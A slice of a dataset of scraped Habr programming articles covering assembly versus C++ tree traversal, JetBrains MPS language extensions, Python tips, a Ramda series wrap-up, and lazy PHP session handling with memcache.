; Здесь EAX содержит указатель к следующему листу дерева.
```
**Тот же код, но с комментариями. Сразу не смотрите. Проверим гипотезу о читаемости.**
```
; Поиск следующего листа
; EAX == указатель к исходному листу дерева.
.next: ; Ищем следующий узел:
cmp [eax + Node.next], 0 ; Это последний узел?
cmovne eax, [eax + Node.next] ; если нет, берём следующий...
jne .to_leaf ; ...и идём к выходу.
cmp [eax + Node.parent], 0 ; это корневой узел?
cmovne eax, [eax+Node.parent] ; если нет, берём родительский узел...
jne .next ; ...и ищем следующий узел.
.to_leaf: ; Идём вниз к листьям:
cmp [eax + Node.f_child], 0 ; это лист?
cmovne eax, [eax + Node.f_child] ; если нет, идём вниз...
jne .to_leaf ; ...и повторяем
; Здесь EAX содержит указатель к следующему листу дерева.
```
У этого кода есть только один изъян. Если у дерева есть несколько корневых узлов, то алгоритм не будет переходить правильно от последнего к первому листу.
Конечно, это уже будет не одно дерево, а несколько несвязанных между собой деревьев (точнее связанные только через .prev и .next). Но структура позволяет такое, так что было бы хорошо, если алгоритм корректно работал с такими деревьями.
Этого можно достичь, добавив еще три инструкции. А точнее, те же три инструкции еще раз:
```
.next:
cmp [eax + Node.next], 0
cmovne eax, [eax + Node.next]
jne .to_leaf
cmp [eax + Node.parent], 0
cmovne eax, [eax+Node.parent]
jne .next
.to_first: ; Вот здесь.
cmp [eax + Node.prev], 0
cmovne eax, [eax + Node.prev]
jne .to_first
.to_leaf:
cmp [eax+Node.f_child], 0
cmovne eax, [eax+Node.f_child]
jne .to_leaf
```
**А если нужен не следующий, а предыдущий лист?**
Тот же самый код можно использовать и для поиска предыдущего листа, поменяв `prev` на `next` и `f_child` на `l_child`:
```
.prev:
cmp [eax + Node.prev], 0
cmovne eax, [eax + Node.prev]
jne .to_leaf
cmp [eax + Node.parent], 0
cmovne eax, [eax+Node.parent]
jne .prev
.to_last:
cmp [eax + Node.next], 0
cmovne eax, [eax + Node.next]
jne .to_last
.to_leaf:
cmp [eax + Node.l_child], 0
cmovne eax, [eax + Node.l_child]
jne .to_leaf
```
Вы наверное заметили, что весь код состоит из одинаковых триплетов:
```
cmp [variable], 0
cmovne REG, [variable]
jne somewhere
```
Это дополнительно увеличивает удобочитаемость кода. Достаточно однажды понять, как эти три инструкции работают в связке, чтобы понять весь код.
А теперь давайте сравним этот код с эквивалентным кодом на C++.
У меня, с трудом (я не силён в C++), но получилось как-то так:
Структура:
```
struct Node {
Node *parent;
Node *f_child;
Node *l_child;
Node *prev;
Node *next;
};
```
И сам код:
```
// Поиск следующего листа
// leaf == указатель к исходному листу дерева.
while (1) {
if (leaf->next) {
leaf = leaf->next;
break;
};
if (leaf->parent)
leaf = leaf->parent;
else {
while (leaf->prev) leaf = leaf->prev;
break;
};
};
while (leaf->f_child) leaf = leaf->f_child;
// Здесь, leaf указывает на следующий лист.
```
Я оставил только код, который непосредственно делает работу. Постарался оформить его, так, чтобы был более читабельным. Но все равно, ассемблерный код читается легче.
В коде на C++ нет никакого общего шаблона. Чтобы понять, как он работает, надо рассматривать каждую линию в отдельности и в связке с остальными.
А может это мне только кажется и зависит от знания языка? Или этот код можно написать лучше?
**Конечно, я скомпилировал этот C++ код.**
Компилировал так:
```
g++ -m32 -Os ./test.cpp -o ./test
```
Результатом компиляции стал следующий код (я намерено использовал те же самые метки как в ассемблерном коде, чтобы легче было сравнивать):
```
.next:
mov edx, [eax + Node.next]
test edx, edx
jnz .to_leaf
mov edx, [eax + Node.parent]
test edx, edx
jz .to_first
mov eax, edx
jmp .next
.to_first:
mov edx, eax
mov eax, [eax + Node.prev]
test eax, eax
jnz .to_first
.to_leaf:
mov eax, edx
mov edx, [edx + Node.f_child]
test edx, edx
jnz .to_leaf
```
Надо сказать, что код получился достойным. Не идеальным для чтения, но этого от компилятора и не требуется.
Но даже этот неидеальный код, мне кажется, читается лучше, чем оригинальный код на C++.
Напишите в комментариях, считаете ли вы ассемблерный код сложным для чтения? А что вам мешает – незнание языка, программисты, которые пишут плохо читаемый код, или вы думаете, что это свойство ассемблера и ничего нельзя сделать в принципе? | https://habr.com/ru/post/599799/ | null | ru | null |
# MPS. Делаем простое расширение для языка JAVA
##### **Введение**
Аудитория Хабра весьма неоднородна, и сложно написать текст, одинаково годный для опытных DSL архитекторов и, в то же время, доступный для пытливых умов интересующихся студентов. Мы предполагаем целую серию статей про MPS, чтобы последовательно подводить нашего читателя от простых к более сложным вещам.
Сразу нужно отметить, что у пользователей MPS есть две абсолютно разные роли – “**разработчик языка**” и “**разработчик на языке**”. Для “разработчика на языке” MPS – это просто IDE, очень близкая по своему поведению к большинству IDE для привычных языков программирования. Более того, для “разработчика на языке” существует плагин, который позволяет программировать на языке, созданном в MPS, прямо из IntelliJ IDEA. Далее мы сосредоточимся на роли “разработчика языка”.
Это первая статья, в которой мы покажем, как в MPS можно расширить уже существующий язык, в данном случае Java, новыми конструкциями. Сначала мы немного расскажем о базовых принципах работы MPS и введем несколько специальных понятий. В конце статьи будет скринкаст, в котором мы напишем собственное расширение языка Java. Для понимания дальнейших статей, мы рекомендуем повторить эти действия самостоятельно. Обещаем в комментариях и прямых сообщениях помочь всем, у кого возникнут трудности.
Перед прочтением этой статьи рекомендуем прочитать [хабростатью](http://habrahabr.ru/post/66094/) Константина Соломатова, в которой рассказывается о том, что такое DSL и кому они нужны. А также объясняется, чем подход MPS отличается от существовавшего ранее подхода к разработке DSL (на основе лексеров и парсеров), и как это связано с проекционным редактором.
##### **Основные понятия MPS**
**AST**
Как вы уже поняли из предыдущей [статьи](http://habrahabr.ru/post/66094/), MPS оперирует с **синтаксическим деревом** программы, или **AST** (Abstract Syntax Tree).
Это дерево состоит из **нодов** (**node**), у каждого из которых есть:
* Дочерние ноды
* Свойства (строковые, числовые, логические и т.п.)
* Ссылки на другие ноды
Ноды в MPS объединяются в **модели**. Модель в MPS – это аналог пакета в языке Java.
**Concept**
Каждая нода AST имеет тип, который определяет состав этой ноды, ее поведение при редактировании, генерации и т.д. Этот тип в MPS называется **концептом** (**concept**). В грубом приближении, концепт и нод находятся в таком же отношении, как класс и объект в языке Java.
Декларация концепта в MPS описывает то, какие данные будут храниться в нодах этого концепта. Остальное поведение концепта (редактор, типовые ограничения, генератор) описываются в одноименных **аспектах** концепта – editor, typesystem, generator…
**Язык** — это просто набор концептов и их аспектов.
Generation
Аналог компиляции в MPS называется **генерацией** (**generation**). В результате генерации из модели получаются файлы на диске.
У генерации есть 2 стадии:
**Model-to-Model transformation**. На этой стадии MPS преобразует исходное AST по правилам, описанным в генераторном аспекте языка. В результате получается другое AST, на языке более низкого уровня.
**Model-to-Text transformation**. На этой стадии MPS берет модель, полученную на первом шаге, и преобразует каждый ее нод в текст, после чего записывает этот текст в файл на диске.
С основными понятиями закончили, давайте теперь познакомимся с MPS на примере следующей задачи.
##### **Постановка задачи**
На практике довольно часто приходится писать условный оператор в виде:
```
if (condition) {
statement;
}
```
В нашем примере мы собираемся реализовать в MPS специальную нотацию для такой конструкции, которая позволит записывать тот же код короче:
```
? condition : statement;
```
Новая конструкция будет расширением языка Java, ее можно применять в любом месте кода, где допустимо использование условного оператора. Конечно же, можно обойтись без этого расширения, однако в этой статье нашей целью будет не изобретение нового языка, а лишь демонстрация того, как создавать языковые расширения в среде MPS.
##### **Ставим MPS себе на компьютер**
Это самый простой этап. Нужно зайти на официальный сайт JetBrains и [скачать](http://confluence.jetbrains.com/display/MPS/JetBrains+MPS+EAP+Download+Page) дистрибутив MPS. Процесс установки доступен любому хаброюзеру (если не доступен, тот юзер явно не из хаброаудитории). В данной статье я буду приводить пример для MPS 3.0, установленном на MacOS X, однако на других операционных системах все выглядит аналогично.
Далее мы предлагаем нашему читателю посмотреть небольшой скринкаст того, как сделать простое расширение языка Java в MPS:
##### **Подведение итогов**
В данном примере для расширения языка мы написали около 10 строк кода, однако описание процесса получилось довольно объемным. Конечно, довольно-таки сложно с нуля начать писать собственные языки или расширения, но развитие проекта предполагает более простой подход в будущем.
В этой статье мы познакомились поближе с окружением MPS и теперь каждый может добавить чуточку синтаксического сахара в кружку своего Java.
Ссылки по теме
[habrahabr.ru/post/66178](http://habrahabr.ru/post/66178/)
[habrahabr.ru/post/122358](http://habrahabr.ru/post/122358/)
[habrahabr.ru/post/122650](http://habrahabr.ru/post/122650/)
[habrahabr.ru/post/68313](http://habrahabr.ru/post/68313/)
[habrahabr.ru/post/169711](http://habrahabr.ru/post/169711/)
[habrahabr.ru/post/74367](http://habrahabr.ru/post/74367/)
[confluence.jetbrains.com/display/MPSD2/Basic+notions](http://confluence.jetbrains.com/display/MPSD2/Basic+notions)
[www.jetbrains.com/mps/documentation/index.html](http://www.jetbrains.com/mps/documentation/index.html)
[confluence.jetbrains.com/display/MPS/Welcome+to+JetBrains+MPS+Space](http://confluence.jetbrains.com/display/MPS/Welcome+to+JetBrains+MPS+Space)
[confluence.jetbrains.com/display/MPSD2/MPS+User%27s+Guide](http://confluence.jetbrains.com/display/MPSD2/MPS+User%27s+Guide) | https://habr.com/ru/post/180723/ | null | ru | null |
# Tips and tricks from my Telegram-channel @pythonetc, April 2019
It is a new selection of tips and tricks about Python and programming from my Telegram-channel @pythonetc.
[Previous publications](https://habr.com/ru/search/?q=%5Bpythonetc%20eng%5D&target_type=posts).
---
Storing and sending object via network as bytes is a huge topic. Let’s discuss some tools that are usually used for that in Python and their advantages and disadvantages.
As an example I’ll try to serialize the Cities object which contains some City objects as well as their order. Here is four method you can use:
1. JSON. It’s human readable, easy to use, but consumes a lot of memory. The same is true for other formats like YAML or XML.
```
class City:
def to_dict(self):
return dict(
name=self._name,
country=self._country,
lon=self._lon,
lat=self._lat,
)
class Cities:
def __init__(self, cities):
self._cities = cities
def to_json(self):
return json.dumps([
c.to_dict() for c in self._cities
]).encode('utf8')
```
2. Pickle. Pickle is native for Python, can be customized and consumes less memory than JSON. The downside is you have to use Python to unpickle the data.
```
class Cities:
def pickle(self):
return pickle.dumps(self)
```
3. Protobuf (and other binary serializers such as msgpack). Consumes even less memory, can be used from any other programming languages, but require custom schema:
```
syntax = "proto2";
message City {
required string name = 1;
required string country = 2;
required float lon = 3;
required float lat = 4;
}
message Cities {
repeated City cities = 1;
}
class City:
def to_protobuf(self):
result = city_pb2.City()
result.name = self._name
result.country = self._country
result.lon = self._lon
result.lat = self._lat
return result
class Cities:
def to_protobuf(self):
result = city_pb2.Cities()
result.cities.extend([
c.to_protobuf() for c in self._cities
])
return result
```
4. Manual. You can manually pack and unpack data with the struct module. It allow you to consume the absolute minimum amount of memory, but protobuf still can be a better choice since it supports versioning and explicit schemas.
```
class City:
def to_bytes(self):
name_encoded = self._name.encode('utf8')
name_length = len(name_encoded)
country_encoded = self._country.encode('utf8')
country_length = len(country_encoded)
return struct.pack(
'BsBsff',
name_length, name_encoded,
country_length, country_encoded,
self._lon, self._lat,
class Cities:
def to_bytes(self):
return b''.join(
c.to_bytes() for c in self._cities
)
```
---
If a function argument has the default value of `None` and is annotated as `T`, `mypy` automatically treats it as `Optional[T]` (in other words, `Union[T, None]`).
That doesn't work with other types, so you can't have something like `f(x: A = B())`. It also doesn't work with a variable assignment: `a: A = None` will cause an error.
```
def f(x: int = None):
reveal_type(x)
def g(y: int = 'x'):
reveal_type(y)
z: int = None
reveal_type(z)
$ mypy test.py
test.py:2: error: Revealed type is 'Union[builtins.int, None]'
test.py:4: error: Incompatible default for argument "y" (default has type "str", argument has type "int")
test.py:5: error: Revealed type is 'builtins.int'
test.py:7: error: Incompatible types in assignment (expression has type "None", variable has type "int")
test.py:8: error: Revealed type is 'builtins.int'
```
---
In Python 3, once the `except` block is exited, the variables that store caught exceptions are removed from `locals()` even if they previously existed:
```
>>> e = 2
>>> try:
... 1/0
... except Exception as e:
... pass
...
>>> e
Traceback (most recent call last):
File "", line 1, in
NameError: name 'e' is not defined
```
If you want to save a reference to the exception, you have to use another variable:
```
>>> error = None
>>> try:
... 1/0
... except Exception as e:
... error = e
...
>>> error
ZeroDivisionError('division by zero',)
```
This is not true for Python 2.
---
You may have your own `pypi` repository. It lets you release packages inside your project and install them with pip as though they are regular packages.
It is remarkable that you don’t have to install any specific software, but can use a regular http-server instead. Here is how it works for me, for example.
Let’s have a trivial package named `pythonetc`.
```
setup.py:
from setuptools import setup, find_packages
setup(
name='pythonetc',
version='1.0',
packages=find_packages(),
)
pythonetc.py:
def ping():
return 'pong'
```
Let’s release it to the ~/pypi directory:
```
$ python setup.py sdist bdist_wheel
…
$ mv dist ~/pypi/pythonetc
```
Now server this on the `pypi.pushtaev.ru` domain with nginx:
```
$ cat /etc/nginx/sites-enabled/pypi
server {
listen 80;
server_name pypi.pushtaev.ru;
root /home/vadim/pypi;
index index.html index.htm index.nginx-debian.html;
location / {
autoindex on;
try_files $uri $uri/ =404;
}
}
```
It now can be installed:
```
$ pip install -i http://pypi.pushtaev.ru --trusted-host pypi.pushtaev.ru pythonetc
…
Collecting pythonetc
Downloading http://pypi.pushtaev.ru/pythonetc/pythonetc-1.0-py3-none-any.whl
Installing collected packages: pythonetc
Successfully installed pythonetc-1.0
$ python
Python 3.7.0+ (heads/3.7:0964aac, Mar 29 2019, 00:40:55)
[GCC 4.9.2] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pythonetc
>>> pythonetc.ping()
'pong'
```
---
It’s quite often when you have to declare a dictionary with all keys equal to the local variables with the same name. Something like this:
```
dict(
context=context,
mode=mode,
action_type=action_type,
)
```
ECMAScript even has the special form of object literal for such cases (it’s called Object Literal Property Value Shorthand):
```
> var a = 1;
< undefined
> var b = 2;
< undefined
> {a, b}
< {a: 1, b: 2}
```
It is possible to create a similar helper in Python (alas, it looks not even closely as good as the ECMAScript notation):
```
def shorthand_dict(lcls, names):
return {k: lcls[k] for k in names}
context = dict(user_id=42, user_ip='1.2.3.4')
mode = 'force'
action_type = 7
shorthand_dict(locals(), [
'context',
'mode',
'action_type',
])
```
You may wonder why we have to pass `locals()` as a parameter in the previous example. Is it possible to get the `locals` of the caller in the callee? It is indeed, but you have to mess with the `inpsect` module:
```
import inspect
def shorthand_dict(names):
lcls = inspect.currentframe().f_back.f_locals
return {k: lcls[k] for k in names}
context = dict(user_id=42, user_ip='1.2.3.4')
mode = 'force'
action_type = 7
shorthand_dict([
'context',
'mode',
'action_type',
])
```
You can go even further and use something like this —<https://github.com/alexmojaki/sorcery>:
```
from sorcery import dict_of
dict_of(context, mode, action_type)
``` | https://habr.com/ru/post/450864/ | null | en | null |
# Мышление в стиле Ramda: Заключение
[1. Первые шаги](https://habrahabr.ru/post/348868/)
[2. Сочетаем функции](https://habrahabr.ru/post/348976/)
[3. Частичное применение (каррирование)](https://habrahabr.ru/post/349140)
[4. Декларативное программирование](https://habrahabr.ru/post/349674)
[5. Бесточечная нотация](https://habr.com/post/358452/)
[6. Неизменяемость и объекты](https://habr.com/post/414337/)
[7. Неизменяемость и массивы](https://habr.com/post/415025/)
[8. Линзы](https://habr.com/post/415035/)
**[9. Заключение](https://habr.com/post/415037/)**
Данный пост завершает серию статей о функциональном программировании под названием "Мышление в стиле Ramda".
В последние восемь постов мы говорили о JavaScript библиотеке Ramda, которая предоставляет функции для работы с JavaScript в функциональном, декларативном и иммутабельном стиле.
В течении этой серии статей, мы узнали, что Ramda имеет несколько основных принципов, которыми движется её API:
* Данные идут последними: почти все функции принимают параметр с данными последним аргументом.
* Каррирование: почти каждая функция в Ramda "каррирована". То есть, вы можете вызвать функцию только с частью неоходимых аргументов, и получить новую функцию, которая будет ожидать оставшиеся аргументы. Как только все аргументы будут предоставлены — оригинальная функция будет вызвана.
Эти два принципа позволяют нам писать очень чистый функциональный код, который объединяет базовые строительные блоки в более мощные операции.
Резюме
------
Для справки, вот короткое резюме серии статей.
* [Первые шаги](https://habrahabr.ru/post/348868/) представляет нам идею функций, чистых функций и иммутабельности. Далее она вводит нас в функции итерации по коллекциям, такие как `map`, `filter` и `reduce`.
* [Объединение функций](https://habrahabr.ru/post/348976/) показывает нам, как мы можем объединять наши функции различными способами, используя такие инструменты как `both`, `either`, `pipe` и `compose`.
* [Частичное применение (каррирование)](https://habrahabr.ru/post/349140) помогает нам понять, когда и как может быть полезно предоставить некоторые аргументы функции и получить возможность предоставить остальные позже. Мы используем `partial` и `curry` для того чтобы помочь нам с этим и узнаём о `flip` и заполнителе (`__`)
* [Декларативное программирование](https://habrahabr.ru/post/349674) учит нас разнице между императивным и декларативным программированием. Мы узнаём, как использовать декларативные заменители Ramda для арифметики, сравнений, логики и условий.
* [Бесточечная нотация](https://habr.com/post/358452/) представляет нам идею бесточечного стиля, также известную как "молчаливое программирование". В бесточечном стиле, мы не видим аргументы с данными, с которыми мы работаем, это делается неявно. Наши программы составляются из маленьких простых блоков, которые объединяются вместе для того чтобы делать то, что нам нужно. Только в самом конце мы применяем наши составные функции к актуальным данным.
* [Неизменяемость и объекты](https://habr.com/post/414337/) возвращает нас к идее о работе в декларативном стиле, это время для получения инструментов, нужных для чтения, обновления, изменения, удаления и трансформации свойств объектов.
* [Неизменяемость и массивы](https://habr.com/post/415025/) продолжает тему и показывает нам, как делать подобные операции с массивами.
* [Линзы](https://habr.com/post/415035/) завершают серию вместе с представлением концепции линз, конструкции, которая позволяет нам сфокусироваться на маленьких частях больших структур данных. Используя функции `view`, `set` и `over`, мы можем читать, обновлять и трансформировать значение, на котором сфокусирована линза в контексте больших структур данных.
Что дальше?
-----------
Мы не покрыли все тонкости Ramda в данной серии статей. В частности, мы не поговорили о функциях для работы со строками и не говорили о более сложных концепциях, таких как [трансдюсеры](https://ramdajs.com/0.21.0/docs/#transduce).
Для того чтобы узнать больше о том, что Ramda может делать, я рекомендую изучать [её документацию](https://ramdajs.com/docs/). Там целое богатство информации. Все функции сгруппированы по типу данных, с которыми они работают, хотя там имеется некоторое перекрытие. К примеру, некоторые из функций для работы с массивами также работают и со строками, а `map` работает как с массивами, так и с объектами.
Если вы заинтересовались более сложными функциональными темами, вот несколько мест, к которым вы можете обратиться:
* Трансдюсеры: здесь можно почитать [хорошую вступительную статью](http://simplectic.com/blog/2015/ramda-transducers-logs/) о том, как парсить логи с помощью трансдюсеров.
* Алгебраические типы данных: если вы достаточно читали о функциональном программировании, вы слышали о алгебраических типах и таких терминах как "Функтор", "Аппликатор" и "Монад". Если вам интересно изучить эти идеи в контексте Ramda, обратите внимание на проект [ramda-fantasy](https://github.com/ramda/ramda-fantasy), который реализует некоторые типы данных, которые соответствуют [спецификации Fantasy Land](https://github.com/fantasyland/fantasy-land) (или Алгебраическая Спецификация JavaScript)
---
От автора переводов статей: если будет угодно Господу, я продолжу переводить статьи о Ramda, в частности, у меня есть желание перевести [статью об использовании ramda с redux](http://randycoulman.com/blog/2016/02/16/using-ramda-with-redux/), [статью о функциональных компонентах с React stateless функциями и Ramda](https://medium.com/@mirkomariani/functional-components-with-react-stateless-functions-and-ramda-e83e54fcd86b#.gs57vesd2), [статью о модульных редюсерах и селекторах](http://randycoulman.com/blog/2016/09/27/modular-reducers-and-selectors/), и наверное [статью о глобализации redux-селекторов](http://randycoulman.com/blog/2016/11/29/globalizing-redux-selectors/). | https://habr.com/ru/post/415037/ | null | ru | null |
# Умные сессии
Решаем проблемы производительности.
**Исходные данные.**
Транслируем футбольные матчи через интернет. Посетителей: в обычные дни 5 000 — 10 000, в дни матчей 100 000 — 150 000.
**В дата-центре**
* 5 веб-серверов с апачем и ПХП, наружу вывешены через аппаратный балансировщик загрузки
* 2 пула мемкеша: для сессий и данных из веб-сервисов
**Проблема**
При большом наплыве посетителей происходит перегрузка локальной сети из-за большого количества обращений к мемкешу. Усугублящие факторы: 100Мбит сеть, оба пула на одних и тех же серверах.
**Решения**
* Наращивание сети до 1Гбит после окончания серии матчей
* Увеличение времени хранения кеша (как временная мера)
* Использование технологии умных сессий
Вот сегодня речь и пойдёт о технологии умных сессий, которая была нами применена для снижения нагрузки.
##### В чём суть технологии
1. Мы не создаём сессию, если она реально не нужна.
2. Мы не обновляем сессию в хранилище, если она не изменилась.
В самом деле, сайт у нас платный, даже если у нас 150 000 уникальных в сутки, то людей готовых заплатить реально мало. Посетители распределяются примерно следующим образом:
* 70% — Зеваки. Открыли главную страницу, поняли что не то, что нужно, закрыли. То есть SЕО поработал хорошо, а нам разгребай.
* 28% — Фанаты. Денег нет, но пользуются нашим сайтом, чтобы следить за информация по ходу матча (голы, замены). Обычно не регистрируются, ибо информация доступна и так.
* 2% — Реально смотрят матчи, зарегистрировавшись и заплатив.
##### Реализация
Поскольку у нас используется мемкеш, то у нас уже есть объект Session, который перегружает стандартный функционал сессий и позволяет хранить последнии в мемкеше. Дополнительно мы делаем следующее:
* Глобальный session\_start() помещаем в if, чтобы сессия не создавалась, когда не просят.
> `if(!empty($_COOKIE[ini_get('session.name')]))
>
> session_start();`
* В месте, где пользователя логиним добавляем старт сессии, ибо здесь уже надо:
> `if(empty($_COOKIE[ini_get('session.name')]))
>
> session_start();`
* И наконец в нашем объекте создаём дополнительную статическую переменую, где храним содержимое сессии при чтении, а при записи делаем следующую проверку в самом начале:
> `if(self::$data !== null && self::$data == $currentData)
>
> return strlen($currentData);`
Вуаля, частично нагрузка на сеть снижена, на мемкеш тоже. Затем переключили кеширование части блоков на локальные веб-серваки и смогли безболезненно дождаться спада посетителей, после чего увеличили пропускную способность сети.
Коментарии приветствуются.
**UPD**: Суть поста показать не какой я крутой, а в том, что в ПХП есть мелочи настолько обыденные, что мы перестаём обращать на них внимание, а ведь иногда они не слишком продуманы и оказывают влияние на производительность. | https://habr.com/ru/post/62412/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.